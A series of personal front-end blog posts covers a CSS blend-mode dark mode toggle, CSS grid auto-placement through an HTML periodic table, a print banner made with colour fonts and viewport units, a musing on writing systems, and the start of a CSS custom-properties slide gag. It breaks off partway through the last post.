Sun, 02 Jun 2019 00:00:00 GMT

One year ago, I got the opportunity to speak at CSSConf EU 2018. I had just started out speaking at events outside my home base of Singapore, and it was my first time in Western Europe ever.

By some amazing coincidence, I found myself on the same flight to Berlin as Sareh Heidari, whom I had already met when she spoke at JSConf.Asia earlier that year. And together, we rode into the city from the airport with Whitney Williams, who arrived soon after.

These two wonderful human beings included me in all the things and were incredibly encouraging and supportive during my talk. The vibe at CSSConf EU was incredibly welcoming and supportive.

I could genuinely feel the audience just rooting for every speaker to do well. And it was still new to me to have people come up to me after my talk and tell me how much they enjoyed it, and that they learned stuff from it. But it was the most incredible feeling.

Just being there in Berlin, at CSSConf EU, was one of the most memorable experiences of my life. I met and became friends with so many people. It had been my first time there, but as I walked around the venue, I saw people greet each other like long lost relatives.

There was just so much love all around. The conference was also the most inclusive environment I had ever been in. I'm not sure if it was a Berlin thing or simply a CSSConf EU thing, but it seemed like everyone came as they were, and that was perfectly okay.

Fast forward 1 year later, as I was returning to Singapore from a conference in Vilnius, I missed my connection from Berlin and was stuck in Berlin for an additional 24 hours. With my best mate, Wei, whom I had dragged out from Singapore to go to the conference with me.

If this had happened to me a year ago, I would have been less chill than I was. I wouldn't have known where to go or who to reach out to at 11pm when Tegel Airport clearly stops working.

But in 2019, I did know people to reach out to, and I had explored Berlin before and so we had a pretty good 24 hours before going home.

When I heard this was going to be the last CSSConf EU (or at least in this current format), I was sad at first, because it felt like an era was coming to an end.

Dear community, we have one of the bigger and tougher announcements to make. CSSconf EU 2019 will be the last edition of the event in its current form. We will not return in 2020. Read more: https://t.co/puu7rIIrJX #LastOfType #CSSconfEU pic.twitter.com/eZRGBVv7qD
— CSSconf EU (@CSSconfeu) 6 May 2019

But all good things must come to an end. And the organisers have done such a good job for so long, they've earned a well-deserved break.

Sareh delivered a beautiful and heartfelt closing keynote, marking the end of a remarkable run.

And now when I think of CSSConf EU, I am filled with appreciation and gratitude. Grateful that I got to be part of this wonderful community, thankful I got to speak in front of the most supportive and kind audience, blessed that I now have friends in this part of the world.

My life changed because of CSSConf EU. It is better now.

So thank you, from the bottom of my heart. 🙏❤️

Friends don't let friends implement dark mode alone

Fri, 24 May 2019 00:00:00 GMT

So I have this friend, Wei, who's basically an expert with CSS blend modes, right? And she came up with a really interesting method to implement dark mode on her site with blend modes. Then wrote about it, because sharing is caring.

It just so happens that my site's generally green-ish theme gets blended into purple with the technique she described, so I figured it's time to add an experimental feature to my site. I also want to highlight that she really does it 1000 times better on her own site.

If you use React, you're in luck because she's released it as a plugin you can install and add some blend mode goodness to your site as well. But I'm clearly not a cool kid who uses React. So maybe don't do what I did if you're running something similar?

The gist of it

This particular technique involves overlaying a div which takes up the full viewport, has the same colour as your main background and a mix-blend-mode of difference, over your site. That was a horrible sentence, I'm sorry.

What blend modes do is mix the colours of the source element with the content behind it via a “mixing” formula. Each of the different blend mode values are essentially combining the 2 colours in according to different formulas.

For an in-depth explanation on the intuition behind the math, you should watch Wei talk about it at Talk.CSS #38. I'm just the friend who steals her friend's code, or at least, some of it.

First of all, we need a div for your site to blend with. This div has to be on top of everything else, so put it just inside your body element for optimum results. To make it cover the entire viewport, you can do something like this:

.blender {
  position: fixed;
  height: 100vh;
  width: 100vw;
  background-color: color("sugarcane");
  mix-blend-mode: difference;
  pointer-events: none;
}

And you should see your site colours magically invert before your very eyes.

But wait, there's more…

But this isn't exactly what I wanted. At least, not yet. What we need next, is a toggle. In case you hadn't cued in, my site is sort of, kind of Minecraft-y. So why not use the sun and moon from Minecraft? Either people can tell, or they won't. It doesn't matter either way.

My toggle is actually a checkbox with a souped-up label. Because I'm using the checkbox as a state tracker. You'll see later. Theoretically, this can go anywhere because it's going to be explicitly positioned but I put mine directly under the full-screen div.

<input type="checkbox" class="blend-checkbox" id="blendToggle" />
<label for="blendToggle" class="blend-toggle"></label>

It's going to be a round thingy people can click on with the Minecraft sun applied as a background image, so apply styles like so:

.blend-toggle {
  position: fixed;
  height: 3rem;
  width: 3rem;
  left: 1rem;
  bottom: 1rem;
  border-radius: 50%;
  background-image: url("/images/sun.png");
  background-position: center;
  background-size: cover;
  z-index: 1;
}

…there's more…

Now, we could switch the checkbox with the full-screen div then use the sibling selector to activate the div when the checkbox is checked and handle this whole thing without JavaScript, but turns out in order to keep state between pages, even the hackiest method needs some help from JavaScript.

My hackiest method here refers to using localStorage to determine if the user toggled dark mode or not. But I'm still using the checkbox status to keep track of what CSS class needs to be applied to make the div “active”.

const blendCheckbox = document.getElementById("blendToggle");
const blender = document.getElementById("blender");
blendCheckbox.addEventListener("click", toggleBlend, false);

function toggleBlend(e) {
  if (e.target.checked) {
    localStorage.checked = true;
    blender.classList.add("active");
  } else {
    localStorage.checked = "";
    blender.classList.remove("active");
  }
}

(function () {
  blendCheckbox.checked = localStorage.checked;
  if (localStorage.checked) {
    blender.classList.add("active");
  } else {
    blender.classList.remove("active");
  }
})();

So Wei's site when viewed on desktop has this fancy expansion of the full-screen div from behind the toggle which looks kinda cool, so of course I was going to steal that. But I just based it on viewport width instead, so anything larger than 960px gets that, and everything below gets fade in/out effect.

.blender {
  position: fixed;
  background-color: color("sugarcane");
  mix-blend-mode: difference;
  pointer-events: none;
}

@media screen and (max-width: 959px) {
  .blender {
    opacity: 0;
    height: 100vh;
    width: 100vw;
    transition: opacity 0.5s ease;
  }
}

@media screen and (min-width: 960px) {
  .blender {
    height: 3rem;
    width: 3rem;
    left: 1rem;
    bottom: 1rem;
    border-radius: 50%;
    left: calc(50% - 24rem);
    transition: transform 0.7s ease-out;
  }
}

When the toggle is clicked, if the checkbox is checked, then an active class is applied to the full-screen div.

@media screen and (max-width: 959px) {
  .blender.active {
    opacity: 1;
  }
}

@media screen and (min-width: 960px) {
  .blender.active {
    transform: scale(100);
  }
}

…there's always more

Most of the stuff on the site is safe to invert, but there are some things, like images or emojis which are better off left as they were, so in comes the isolation property. Setting it to a value of isolate turns the element into a stacking context, excluding it from being blended.

.blender.active ~ .blend-toggle {
  background-image: url("/images/moon.png");
  isolation: isolate;
}

img,
.external-url::before,
.emoji {
  isolation: isolate;
}

We also want our toggle to be keyboard accessible, so add in a :focus state and style it however you like:

.blend-checkbox:focus ~ label {
  outline: 5px auto -webkit-focus-ring-color;
}

Lastly, we need to take into account all the browsers that do not support CSS blend modes, like the pre-Chromium Edge browser, for example.

So wrap all the blend mode related stuff within a feature query and users of those browsers will be none the wiser. This is experimental anyway so they're not missing anything.

@supports (mix-blend-mode: difference) {
  /* All the blender, toggle and whatever goes here */
}

Why my implementation is not great

If you tried this experimental feature on my site, you'll notice that between pages, because of latency with the JavaScript checking localStorage to apply the relevant CSS class, there's a flash of light between the dark modes.

It's highly not ideal. Wei's site is smooth as butter because React is taking care of things under the hood (at least I think that's the reason, but what do I know). My point is, this works on my site but it certainly isn't pretty.

Regardless, it was fun to implement and I'll keep it on there just to annoy people who disdain that flash of lightness between pages if they so happen to toggle dark mode. Because I'm not a very nice person.

Wrapping up

Recently, Firefox 67 has started to support prefers-color-scheme, which allows sites to adopt their styles to match an user's preference to light or dark schemes. This is supported in Safari as well, with Chrome coming in later this year.

That's probably going to be THE way to do dark mode moving forward, but this experiment isn't about dark mode per se, it's about blend modes. Sort of.

So, yeah, it's your site and your content. Do whatever pleases you.

Because you're worth it.

Understanding grid placement through building a HTML periodical table

Mon, 06 May 2019 00:00:00 GMT

I've been using CSS grid to build layouts for quite a while now, and all my designs to date involved either a handful of explicitly placed individual grid items, or 100% automatic placement. I hadn't had to design the gaps between the grid before, but then one fine day in March, I found a HTML periodical table on WebsiteSetupOrg.

It looks different now than when I first saw it, because the version I saw spelt out HTML and I was totally into that. Upon my usual right-click inspect, I noticed that the layout wasn't using Grid, but my Grid-infused brain thought it could, so I decided to recreate the design using a Grid layout.

I had plans today, but then I got distracted and made a periodic table of HTML elements.
Inspiration from @RobMening's project, based on idea by @joshduck. Also referenced a lot from @MikeRiethmuller's implementation#css https://t.co/lkcXrzIU75 via @CodePen
— HJ Chen @ ImageCon 🇺🇲 (@hj_chen) March 18, 2019

Grid manual placement

One of the best parts of using Grid for layout is the ability to place grid items exactly where you want on the grid you designed. Most of the planning for such designs would go into the actual grid itself.

But as a quick recap to how this works, let's look at a relatively simple 3x3 grid, with 3 grid items on it. The Firefox grid inspector is turned on so we know which lines to assign our pieces to.

Like chess pieces on a chessboard

Actual visual styling aside, this is how the grid code looks like:

.grid {
  display: grid;
  grid-template-columns: repeat(3, 24vmin);
  grid-template-rows: repeat(3, 24vmin);
}

.grid__item:first-child {
  grid-row: 3;
}

.grid__item:nth-child(2) {
  grid-row: 2;
  grid-column: 2;
}

.grid__item:nth-child(3) {
  grid-row: 3;
  grid-column: 3;
}

grid-row and grid-column are shorthands to set the start and end line their respective dimensions. Grid items by default will only take up a single grid cell, so it works fine even though I only specify the start line without the end line for either property.

The concept behind manual placement of grid items is that you can position your item on the grid based on row and column numbers. No need for overly complicated positioning rules and calculations.

Grid automatic placement

If we have a large number of grid items and we don't really want to explicitly place them all, there is a 5-step algorithm browsers use to determine how to place grid items that do not have an explicit grid position defined. Assume flow direction is row for the following explanation.

Step 0: Generate anonymous grid items
If there any contiguous sequence of child text runs, which means a bunch of text without any tags around them, the browser will wrap it up in an anonymous block container grid item.

Let's talk a bit about anonymous items here. Everything on a web page is a box. There are many different types of boxes, but a box is still a box. So if you have some stuff that isn't associated with any element, like a run of text, the browser will generate anonymous boxes for them.

From the specification, it says:

Anonymous boxes are generated in certain circumstances to fix up the box tree when it requires a particular nested structure that is not provided by the boxes generated from the element tree.

Below, we have an example of a p block element containing anonymous text interspersed with em and strong:

The browser will establish the p element as the containing block for the 5 inline boxes, of which 3 of them are anonymous. Anonymous boxes only exist in the box tree and inherit properties through their box tree parentage.

Step 1: Position anything that’s not auto-positioned.

Step 2: Process items locked to a given row.
For each grid item with an explicit grid-row-start and grid-row-end value, put the item on the earliest column-start line which:

doesn't cause overlap with any occupied grid cells
and is past the previous grid item placed this way.

If the packing is set to dense, then ignore the second bit.

Step 3: Determine the columns in the implicit grid.
To create columns of the implicit grid, the browser will start off from the explicit grid columns. Then, for all items with a defined column position, add implicit columns to the start and end of the implicit grid to accommodate them.

When Firefox DevTools is better, but you have to use Chrome because of a bug in implementation ಠ_ಠ

The example above is a 4x3 explicit grid, but the .rogue grid item has been placed on grid column 8, which resulted in the generation of 4 more implicit columns after the explicit grid.

If the largest column span among all items without a defined column position exceeds the column count of the implicit grid, add more columns to the end to accommodate that column span.

Step 4: Position the remaining items.
There is something called an auto-placement cursor, which we don't see, but it determines the current “insertion point” in the grid. This point is specified as a pair of row and column grid lines.

If there are any items left over after the previous steps have run, there are 4 possible scenarios that will affect the placement of these left-over items.

When the grid packing is the default value of sparse, and the grid item has a defined column position:

Set the cursor's column position to that column-start value. If this is less than the previous column position of the cursor, increment the row position by 1.
Increment the cursor's row position until the grid item does not overlap any occupied grid cells, creating implicit rows as necessary.
Set row-start value of the grid item to the cursor's row position and row-end value based on its span from its row-start value.

When the grid packing is the default value of sparse, and the grid item is automatically positioned on either axis:

Increment the cursor's column position until the grid item does not overlap any occupied grid cells, or until the cursor's column position plus the grid item's span overflows the implicit columns generated in step 3
Once an appropriate cursor column position is found, set the grid item's row-start and column-start to the cursor position. Otherwise, increase the cursor's row position, creating implicit rows as necessary, and set the cursor column position to the start-most column on the implicit grid.

When the grid packing is the default value of dense, and the grid item has a defined column position:

Set the cursor's column position to that column-start value. Set the cursor's row position to the start-most row in the implicit grid.
Increment the cursor's row position until the grid item does not overlap any occupied grid cells, creating implicit rows as necessary.
Set row-start value of the grid item to the cursor's row position.

When the grid packing is the default value of dense, and the grid item is automatically positioned on either axis:

Set the cursor's row and column position to the start-most row and column lines of the implicit grid.
Increment the cursor's column position until the grid item doesn't overlap any occupied cells, or until the cursor column position plus the grid item's span overflows the implicit columns generated in step 3.
Once an appropriate cursor column position is found, set the grid item's row-start and column-start to the cursor position. Otherwise, increase the cursor's row position, creating implicit rows as necessary, and set the cursor column position to the start-most column on the implicit grid.

Building the layout

The target design I had in mind looked like this when plotted onto a 20x10 grid:

But wait, if you look a little closer, you'll notice something is not quite aligned properly.

You know what this means? More columns, that's what. This is the part of the design phase I call grid planning. For something like that, you can either go analogue (which is how I like to do it), or import the image into any program that lets you draw lines over it.

From there, you can figure out the least possible number of rows and columns that you can get away with, while still having your every one of your grid items aligned to a grid line.

So 40x10 it is.

Building the grid

Can't have a grid of elements without some markup. For this, you could choose to flow your markup either row or column, you can affect the direction the grid items are laid out with the grid-auto-flow property. I'm going to go with the default of row. So the markup assumes a left-to-right, top-to-bottom order.

Now, let's create a grid with 40 columns and 10 rows.

.elements {
  display: grid;
  grid-template-columns: repeat(40, 5ch);
  grid-template-rows: repeat(10, auto);
}

Positioning the elements

We also want each grid item to span 2 grid horizontal grid cells.

.element {
  grid-column: span 2;
}

Now is when the diagram comes in handy, because you can figure out which columns you want to “push” the rest of the grid items in the row to recreate the letters, HTML, on the grid.

There are 5 “full columns” of grid items in the design. Instead of plotting each grid item, we can make use of our newfound understanding of auto-placement to ”push” out the required whitespace between grid items with CSS classes. Then for the more specific positions, we can just target those with specific classes instead.

.col5 {
  grid-column: 9 / span 2;
}
.col8 {
  grid-column: 15 / span 2;
}
.col11 {
  grid-column: 21 / span 2;
}
.col15 {
  grid-column: 29 / span 2;
}
.col20 {
  grid-column: 39 / span 2;
}

.h1 {
  grid-column: 27 / span 2;
}
.h4 {
  grid-column: 24 / span 2;
}
.h3 {
  grid-column: 25 / span 2;
}
.html {
  grid-column: 20 / span 2;
}

If I'd set the grid-auto-flow value to dense, then the auto-placement algorithm would have packed the grid items without explicit grid column positions into the spaces and we'd end up with something like this:

Fallbacks and narrow viewports

By now, I've already gotten used to catering for browsers which don't support grid, as well as for viewports in which my target design simply just won't work. I'm going to walk through my thought process for this as well.

After doing some window re-sizing, I found that the design warped at widths below 1280px, so that was the basis for the min-width media query. The positioned grid items only kick in when the viewport width is more than 1280px wide.

Any smaller than that, all the elements are auto-placed by the algorithm, so it looks like a standard grid of HTML elements. In this case, I didn't need to fix how many columns the grid ought to be. Instead I let the browser figure it out with the help of the auto-fit keyword.

To ensure I didn't have any funky whitespaces on either edge of the grid, I made the colunn width a range between 10ch and 1fr, which made the elements always take up the full width of the viewport no matter how the size changed.

.elements {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(10ch, 1fr));
  gap: 0.2em;

  a {
    padding: 1em 0;
  }
}

Look ma, no funky spaces!

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

And then, the browsers that don't support Grid. I chose to fallback to a flex-based layout, but you can also go for floats or inline-block, if you'd like to. The gist of the matter here is the feature query.

All the grid-related code gets wrapped up into a feature query like so, including the media query:

@supports (display: grid) {
  .elements {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(10ch, 1fr));
    gap: 0.2em;

    a {
      padding: 1em 0;
    }
  }

  @media screen and (min-width: 1280px) {
    .elements {
      grid-template-columns: repeat(40, 5ch);
      grid-template-rows: repeat(10, auto);

      a {
        grid-column: span 2;
        margin: 0;
      }
    }

    a.col5 {
      grid-column: 9 / span 2;
    }
    a.col8 {
      grid-column: 15 / span 2;
    }
    a.col11 {
      grid-column: 21 / span 2;
    }
    a.col15 {
      grid-column: 29 / span 2;
    }
    a.col20 {
      grid-column: 39 / span 2;
    }

    a.h1 {
      grid-column: 27 / span 2;
    }
    a.h4 {
      grid-column: 24 / span 2;
    }
    a.h3 {
      grid-column: 25 / span 2;
    }
    a.html {
      grid-column: 20 / span 2;
    }
  }
}

The base styles, which live outside the feature query, will take care of the browsers that do not have Grid support. And if you want to test how this looks, comment out the entire feature query block.

.elements {
  font-family: "Medula One", serif;
  display: flex;
  flex-wrap: wrap;
  justify-content: center;

  a {
    padding: 1em;
    flex: none;
    margin: 0.25em;
  }
}

For browsers that do not support feature queries, that is essentially what happens anyway because the browser will ignore the entire block within the feature query.

Sprinkle on some JavaScript

Okay, here I want to give credit to Mike Riethmuller, who created a really nice version of the HTML periodic table as well. It's much prettier than mine, PLUS, it has a definition feature.

There was also a legend, as the elements were classified into several categories. When you hovered over the category name, the relevant elements would be highlighted as well. Very nice, and I wanted to do the same for my periodic table too.

The displaying of definitions wasn't too tricky. It made use of the :target pseudo-class, so when you clicked on any of the elements in the table, its definition would be displayed below the table. You have to match the anchor link on the element to the id of the element containing its definition so the URL fragment matches up.

Take this markup, for example:

<a href="#ruby" class="txt-lvl">ruby</a>

<div id="ruby">
  <dt><a href="https://developer.mozilla.org/en/docs/Web/HTML/Element/ruby">&lt;ruby&gt;</a></dt>
  <dd>
    <p>
      The HTML <code>&lt;ruby&gt;</code> Element represents a ruby annotation. Ruby annotations are
      for showing pronunciation of East Asian characters.
    </p>
    <p>
      <a class="moz-link" href="https://developer.mozilla.org/en/docs/Web/HTML/Element/ruby"
        >https://developer.mozilla.org/en/docs/Web/HTML/Element/ruby</a
      >
    </p>
  </dd>
</div>

You'd make it work with the following CSS:

div {
  padding: 1em;
  text-align: left;
  display: none;
}

div:target {
  display: block;
}

The JavaScript bit comes in for the hover highlight function. And what it does is add a CSS class to the body element so the relevant elements in the selected category get a background colour change.

Array.prototype.forEach.call(document.querySelectorAll(".legend li"), (li) => {
  li.addEventListener(
    "mouseenter",
    function () {
      document.body.classList.add("hover-" + this.className);
    },
    false
  );
  li.addEventListener(
    "mouseleave",
    function () {
      document.body.classList.remove("hover-" + this.className);
    },
    false
  );
});

I had 11 categories so I cheated and used Sass to generate the CSS needed for this:

$colours: (
  root: #7b9de1,
  scripting: #749eef,
  int-elem: #5186ed,
  meta: #2b6dec,
  edits: #155eea,
  tab-data: #024ee0,
  grp-cont: #0242bc,
  emb-cont: #00369c,
  forms: #0202ca,
  sections: #000080,
  txt-lvl: #010151,
);

@each $class, $colour in $colours {
  .#{$class} {
    background-color: #{$colour};
    color: white;
  }

  .hover-#{$class} {
    .#{$class} {
      background-color: #fdb35f;
      color: black;
    }
  }
}

Wrapping up

And that's pretty much it. This ended up a longer post than I expected but I hope it shed some light on some of the CSS techniques used to implement this HTML periodical table. If you'd like to dig into the code yourself and tweak it around, here's the CodePen:

See the Pen HTML periodical table (built with CSS grid) by Chen Hui Jing (@huijing) on CodePen.

Happy CSS-ing!

Using CSS to make a print banner

Sun, 07 Apr 2019 00:00:00 GMT

I talk about the web. I talk about the web a lot. But sometimes, we need stuff made in the physical world. Sometimes, we need a banner. Banners can be designed more ways than Sunday, but usually, your friendly neighbourhood printer will ask for some sort of digital file. Maybe an SVG or a high-resolution PNG, even PDF.

Whatever the format, the key to a decent print banner is the resolution of the file. Even though the end result is largely dependent on the materials use to produce the banner, a high resolution base image would definitely help the cause.

The thing is, I came across this font called Gilbert, and instantly fell in love with it. It is a colour font, created to honour the memory of Gilbert Baker, LGBTQ activist and artist, creator of the iconic Rainbow Flag.

Using colour fonts in general

In 2017, there was no CSSConf.Asia (neither will there be on in 2019, unfortunately). So Chris and I somehow came up with this hare-brained idea to have a mini half-day conference style CSS event. I called it the Talk.CSS max-content edition, because you know, maximum content? Look, naming things is hard.

I thought it was the perfect opportunity to use Gilbert for the text max-content. Subtly colourful was what I was going for. Things went well on the website itself. The way colour fonts work, even if the browser doesn’t support colour fonts, the typeface still renders and displays, just solid black instead of in colour.

Gilbert's colour font version came in OpenType (.otf), so it wasn't hard to style the words max-content to use it. I then wanted to create banner images for the social medias and realised that I couldn't. My broke ass clearly did not own a single Adobe product, and at the time (before 23 Jan 2018), Photoshop and maybe Illustrator were the only applications that supported colour fonts.

Note: the situation is much better now with at least 7 applications that support OpenType-SVG fonts. For more information, check out colorfonts.wtf

Using the colour font for social media images

I only had Sketch on my computer, and that was a no-go. But I also realised I was using a retina display, and hence could take relatively high resolution screenshots. I also really liked doing all kinds of stuff with CSS. A modern browser and some CSS is just as good as Photoshop for my purposes.

So the first pass of using the browser as a screenshot generator was for banner images to use with Twitter and Facebook. Layout was naturally done with CSS grid. And the setup wasn't too complicated, looks something like this:

<main>
  <p>SingaporeCSS presents</p>
  <img src="../assets/img/logo.svg" />
  <div>
    <h1>Talk.CSS</h1>
    <code>max-content</code>
  </div>
  <p>⭐️ January 23, 2018 ⭐️</p>
</main>

I kept everything on 1 single index.html, which meant the styles were within a <style> tag in the <head>. There weren't that many styles anyway. But the plus of using CSS for layout is, well, you know, access to the box alignment properties, Flexbox and Grid, viewport units and all that delicious good stuff.

html {
  box-sizing: border-box;
}

*,
*::before,
*::after {
  box-sizing: inherit;
  margin: 0;
  padding: 0;
}

body {
  height: 100vh;
  background-image: url("../assets/img/tile.png");
  background-repeat: repeat;
  background-size: 12em;
  display: flex;
}

main {
  display: grid;
  margin: auto;
  grid-template-columns: min-content max-content;
  grid-template-rows: min-content 1fr min-content;
  grid-template-areas:
    "a a"
    "b c"
    "d d";
  grid-gap: 1em;
  justify-content: center;
  align-items: center;
  text-align: center;
  transform: scale(0.6);
}

p {
  font-family: "iA Writer Duospace";
  font-size: 3em;
  line-height: 1;
  color: #1572b6;
}

p:first-child {
  grid-area: a;
}

p:last-child {
  grid-area: d;
}

img {
  margin: auto;
  height: 45vh;
  grid-area: b;
}

div {
  grid-area: c;
}

h1 {
  font-family: "iA Writer Duospace";
  font-size: 7em;
  line-height: 1;
}

code {
  font-family: "Gilbert Color";
  font-size: 10em;
  line-height: 1;
}

Grid template areas are my preferred technique of choice for such things, because I'm too lazy to keep track of row and column numbers. Also, because I already had all the needed fonts installed locally on my computer, I didn't even bother with fallback fonts.

I think if you manage to find the file on the interwebs, unless you have iA Writer Duospace and Gilbert Colour both installed on your machine, it's not going to look that pretty. But the file(s) are for my own use anyway, so I don't really care… 🤪

Most of the adjustments could be made on the fly directly from DevTools itself as well, so it wasn't all that hard to get a number of different sizes for the different social medias.

Using the colour font for pull-up banners

We managed to get an anonymous angel donor, and so had the budget to get 2 pull-up banners printed. There was a standard sizing, I can’t really remember the exact numbers. But the width to height ratio was something like 600mm × 1700mm.

Anyway, I was wondering how to the get the resolution higher than that of my 2560 × 1600 screen when I realised, there’s nothing restricting me from setting sizes larger than 100vw.

html {
  box-sizing: border-box;
}

*,
*::before,
*::after {
  box-sizing: inherit;
  margin: 0;
  padding: 0;
}

body {
  height: 425vw;
  width: 150vw;
  background-image: url("../assets/img/tile.png");
  background-repeat: repeat;
  background-size: 40vw;
  display: flex;
  text-align: center;
}

main {
  width: 100%;
}

img {
  height: 95vh;
}

h1 {
  font-family: "iA Writer Duospace";
  font-size: 20vw;
  line-height: 1;
  margin-bottom: 0.25em;
  padding-top: 45%;
}

code {
  display: block;
  font-family: "Gilbert Color";
  font-size: 24vw;
  line-height: 1;
  margin-bottom: 0.75em;
}

h2 {
  font-family: "iA Writer Duospace";
  font-size: 10vw;
}

All the assets were either SVG images or text, which could also be sized with viewport units. So I blew up the whole thing to be 150vw × 425vw and adjusted all the images and text sizes until it looked decent. Yes, I eye-balled the design, sue me.

The best part is that Firefox has a built-in screenshot tool which could export the full page and not just the visible areas, so I ended up with a file that was 2160px × 6120px and could probably do more adjustments if necessary.

End result

To our surprise, and we at SingaporeCSS are known for having very little expectations in general, the end result was pretty decent. Considering we hadn't planned on even having these banners in the first place, and went for the most budget option we could find, this is an A-plus result!

Chris's son AKA mini Chris included for scale

It's only apt that the CSS meetup uses CSS to generate all the things. But remember, viewport units are not limited to the viewport alone.

CSS all the things!

(Or maybe not…you do you)

A short musing on writing systems

Fri, 05 Apr 2019 00:00:00 GMT

As I continued to work on my talk for JSHeroes (come say hi if you see me there), I couldn't help but remember the amazing 24-hour Alphabettes hangout for International Women's Day that happened a couple of weeks ago.

It was real nice to just chat with some of the 'Bettes about typography, conferences and whatever random topics that popped up. One of the conversations we had sort of veered toward non-Latin scripts (we are still trying and failing to come up with a far better term) and I put in my off-the-cuff 2 cents. But those thoughts hadn't gone away over time, and the words have to go somewhere, so here they are.

Writing systems started off on a fairly even playing field. You needed a writing implement and a surface to write on. Everything else came about from human ingenuity. There's something about the freedom to create a physical manifestation of our thoughts, feelings and ideas.

It is quite something that we developed a system of communication through sounds generated from the vibration of our larynxes (how did that even happen?). But to be able to capture something as ethereal as a sound or an emotion and record it onto something physical, that we can see and feel. That, is something else.

But when printing came along, something shifted a little. Printing is the process of mechanical reproduction via some form of template or master source. A create-once-replicate-many type of situation. Woodblock printing was pioneered and polished to near perfection by the Chinese. Moveable type, which was also a Chinese invention, did not fair as well with the Chinese language in genereal.

Printing with moveable type is a technique that best suits alphabetic writing scripts, or at least scripts with discrete alphabets and no significant variation regardless of glyph position. But writing systems are more than just a means of communication, they are also a reflection of a people's culture, their spirituality, even their soul. With so many different communities across the world, it is only natural that there are thousands of different languages and writing systems.

Moveable type highlighted the differences between the writing systems. An ideographic language like Chinese which require thousands of glyphs for any extensive writing is not a good candidate for moveable type printing. The calligraphic style of Arabic writing also resulted in efforts to reduce the number of variations of letters and diacritical marks.

To me, these typographical compromises are akin to having the finest sculptures in the world caked in dirt and mud. I cannot help but wonder what would have happened if every respective culture was allowed to progress at their own pace.

I'm not saying that trade and exchange of ideas is a bad thing and should not have happened. On the contrary, I think that it is precisely the exchange of ideas that makes our world better. But human history has always been littered with violent takeovers and forced assimilations.

I expect many people to disagree with me, but I think that the world we are living in now is simply one of a myriad of possibilities. That we are living in the culmination of a series of insignificant events which had a domino-effect over human history. Regardless, here we are today.

Today.

Right now, I am typing these words on the keyboard of my computer, and seeing these letters appear across my electronic screen as pixels of light. Sometimes I wonder why I'm not more amazed that this is possible. Because it really is extraordinary. But I take a lot of things for granted most of the time.

Change is inevitable, and our rate of change seems to be speeding up. We can either choose to fight against it and get swept away anyway, or flow with the tide and learn to work with it.

I think the digital age presents an opportunity clean off the dirt and mud off scripts that have long had to compromise to “get with the times”. Our digital age is the age of light and electronic signals. There are far fewer limitations as compared to a physical medium like moveable type.

If the virtual world is being touted as a realm with limitless possibilities, then it should be reasonable to expect that all our scripts can be restored to their full artistic glory in the digital world.

I suppose these words are simply not enough to capture the depth of emotion I feel when I think about such things, but for now, these words will have to do.

CSS variables for fun and no profit

Thu, 28 Mar 2019 00:00:00 GMT

I run a little monthly CSS meet-up called Talk.CSS, and the man who founded this endeavour with me one fine October morning back in 2015, had moved back to Melbourne. That man is Chris Lienert, and below is his handsome profile. So handsome that he is sometimes mistaken for Hawkeye. ¯\_(ツ)_/¯

Uncanny…squint and they could be twins

The background of what shall be now termed as “The Chris Script” (trademark pending) goes something like this. During the first meetup of 2019, which was the first one that took place after Chris's farewell, I had the dumb idea of putting up a profile photo of Chris on an iPad next to me while I introduced the meetup.

But then, I couldn't really find a high-resolution photo of Chris online, and my iPad didn't fare too well as a photo frame. Out of the blue, I got a better idea. Simply the best. Better than all the rest. Why not have Chris heads randomly popping up from all directions on the Talk.CSS introduction slides?

Implementing the Chris script

The most important thing as this point was to request a high resolution profile photo of the man himself, which Chris gamely provided, having no idea what I was going to do with it. His faith is admirable. After a bit of minor cropping, I had on my hands a lovely Chris head image.

My first idea was to load 1 Chris head on the site, offset it out of frame to start with, then randomly translate/rotate it back into the viewport so it looked like the head would peek in from all sides after some predefined length of time. Turns out this was harder than expected, given the combination of translateX, translateY and rotate values.

Eventually I decided to go with 4 Chris heads instead. I'm fairly sure someone smarter than me can do it with 1 Chris head, but my brain couldn't figure it out and seriously, I have a day job, you know. Like I mentioned earlier, 3 transform values are involved here.

If you're interested in how the slides themselves were built, I wrote a little something a while back which covers it, so give it a look if you're curious. To that, I added a <div> at the bottom of the page with the 4 Chris heads like so:

<div class="nonsense" id="nonsense">
  <img
    class="chris-top jsChris"
    src="img/chris.png"
    srcset="img/chris@2x.png 2x"
    alt="The one and only Chris Lienert"
  />
  <img
    class="chris-right jsChris"
    src="img/chris.png"
    srcset="img/chris@2x.png 2x"
    alt="The one and only Chris Lienert"
  />
  <img
    class="chris-bottom jsChris"
    src="img/chris.png"
    srcset="img/chris@2x.png 2x"
    alt="The one and only Chris Lienert"
  />
  <img
    class="chris-left jsChris"
    src="img/chris.png"
    srcset="img/chris@2x.png 2x"
    alt="The one and only Chris Lienert"
  />
</div>

Class name and ID are nonsense because that's exactly what this idea is. Nonsense. But loads of fun, and that's all that matters. There would definitely be some JavaScript involved, and what I like to do is make sure my JavaScript-related CSS classes are only used for that purpose. For me, I choose to prefix them with a js.

CSS-y bits

The initial set up for the 4 Chris heads are as follows:

:root {
  --tx: 0;
  --ty: 0;
}

.nonsense {
  position: relative;
  width: 100vw;
  height: 100vh;
  z-index: 1;
  text-align: initial;
}

[class^="chris"] {
  position: absolute;
}

.chris-top {
  transform: translate(var(--tx, 0), -100%) rotate(180deg);
}

.chris-right {
  transform: translate(calc(100vw + 1em), var(--ty, 0)) rotate(-90deg);
}

.chris-bottom {
  transform: translate(var(--tx, 0), 100vh) rotate(0deg);
}

.chris-left {
  transform: translate(calc(-100% - 1em), var(--ty, 0)) rotate(90deg);
}

As you can see, there are some CSS custom properties involved. Because I wanted an easier way to introduce the random positioning element, and I thought style.setProperty was a convenient way to do it.

So the nice part about transform functions is that you can use calc() functions within them, though it doesn't work entirely right in Internet Explorer and if you need to support that, a workaround is in order.

Also, when using CSS custom properties, the second parameter passed into the var() syntax is a fallback in case the custom property value somehow fails to compute. It is, however, not going to work if the browser doesn't support CSS custom properties at all.

This initial set of styles position all 4 Chris heads just out of the viewport. The idea is to have a function trigger every 20 seconds to add the .active class randomly on 1 of the Chris heads at a time. The .active class would run an animation effect that translates the head back into the viewport.

.chris-top.active {
  animation: popdown 4000ms ease;
}

.chris-right.active {
  animation: popleft 4000ms ease;
}

.chris-bottom.active {
  animation: popup 4000ms ease;
}

.chris-left.active {
  animation: popright 4000ms ease;
}

